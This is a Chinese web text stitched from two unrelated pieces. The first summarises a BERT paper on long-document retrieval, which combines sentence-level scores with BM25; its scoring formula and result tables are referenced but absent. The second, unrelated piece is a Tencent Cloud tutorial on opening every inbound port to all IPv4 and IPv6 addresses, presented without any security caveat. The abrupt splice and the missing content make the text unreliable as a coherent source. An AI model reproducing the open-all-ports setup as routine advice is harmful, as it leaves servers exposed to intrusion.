引言 bert提出来后打开了迁移学习的大门,首先通过无监督的语料训练通用的语言模型,然后基于自己的语料微调(finetune)模型来达到不同的业务需求。我们知道bert可以支持的最大token长度为512,如果最大长度超过512,该怎么样处理呢?下面这边论文提供一种简单有效的解决思路。
Simple Applications of BERT for Ad Hoc Document Retrieval 201903发表
1. 摘要 bert大招很好用,但是其最大长度为512以及其性能这两个缺点给我们的线上部署提出了挑战。我们在做document级别的召回的时候,其文本长度远超bert可以处理的长度,本文提出了一种简单并且有效的解决思路。将长的document分解成多个短的句子,每个句子在bert上独立推断,然后将这些句子的得分聚合得到document的得分。
2. 论文细节以及实验结果 2.1 长文本匹配解决思路
作者先以短文本匹配任务-社交媒体的帖子来做召回实验,通过query来召回相关的帖子,一般帖子的长度是较短的文本,在bert可以处理的范围内。实验的评价指标为两个平均召回(AP)和top30的召回率(P30),下表是最近的深度模型在这个数据集上的结果。
我觉得上述实验数据主要说一点:
bert在短文本匹配类型的任务上效果很好,性能SOTA 长文本的docment匹配一般解决方法:
直接截断,取top长度,丢失了后面的数据;片段级递归机制,解决长文本依赖,如Transformer-XL,一定程度上可以解决长依赖问题(看递归长度),但模型稍复杂;基于抽取模型,抽取长文本docment的关键句子作为doc的摘要,然后基于此摘要进行匹配模型训练,这样只考虑了摘要,没有考虑其他句子,比较片面;将长文本划分为多个短句子,选择匹配度最高的来做匹配,同样没有考虑其他句子。 本文的方法
针对新闻语料的长文本召回问题,本文首先利用NLTK工具将长文本分为短的句子,不同于考虑最匹配的句子,本文考虑top n个句子。最终长文本docment的匹配得分计算公司如下:
其中S_doc是原始的长文本得分(文本得分),例如BM25得分,S_i表示第i个top的基于bert句子的匹配得分(语义得分),其中参数a的参数范围[0,1],w1的值为1,wi参数范围[0,1],基于gridsearch去调参,获得一个比较好的性能。
2.2 实验结果
finetune的数据
我们的原始的微调数据是查询query和长文本document的关系,而我们将长文本拆分为n个短句子后,不是所有的句子和当前的query是强相关的(正样本),因此我们不能简单依赖现在的长文本数据了。本论文的解决方法是基于外部语料,基于QA或者Microblog数据,首先bert基于通用的无监督语料学习到了词语以及句子的表征,所以基于少量的数据微调也可以获得较好的效果,因此本文选择外部相关的语料进行微调。具体效果如下表,我们发现长文本的匹配基于本文的方法可以取得比较好的效果。
3. 总结与问题 总结
本文提出一种加权的短句子得分方法来解决长文本匹配得分问题;该方法在该论文实验数据集上可以取得SOTA的效果,方法简单有效; 思考
论文中微调的数据使用外部数据,微调的模型没有很好拟合当前的数据,是不是可以从分割的短句子中进行正负样本的采样,这样微调的数据也是从长文本中得出;论文中如果选取的top n,如果n过大的话,调参有点复杂,n过大感觉可以取top3调参,然后后面平均。 参考文献 Simple Applications of BERT for Ad Hoc Document Retrieval
腾讯云服务器端口放通是在安全组中操作的,在腾讯云服务器安全组添加规则可以开放全部所有端口,腾讯云服务器网来详细说下腾讯云服务器开放所有端口安全组规则设置教程:
腾讯云服务器开放所有端口教程 安全组是一种虚拟防火墙,腾讯云服务器端口开放或禁用就是通过安全组配置规则来实现的,腾讯云服务器开启所有端口可以在安全组中添加以下规则:
1、登录到腾讯云服务器控制台
找到目标云服务器,如果没有,记得切换左上角云服务器所在地域
2、在目标云服务器右侧点击“更多”--“安全组”--“配置安全组”,点击右侧安全组的“id/名称”,进入当前云服务器所在安全组的配置规则页面
3、在“入站规则”中,点“添加规则”,规则如下图: 腾讯云服务器安全组开放全部端口
如上图所示,添加了两条安全组规则,0.0.0.0/0是放行所有IPv4地址,0::0/0或者::/0代表所有IPv6地址,详细如下:
类型:自定义来源:0.0.0.0/0和::/0协议端口:ALL策略:允许 腾讯云服务器安全组开启所有端口,设置完规则如下图所示: 腾讯云服务器开启所有端口
安全组设置完之后不需要重启即可生效。
更多关于腾讯云服务器安全组设置教程,可以参考官方文档:腾讯云添加安全组规则教程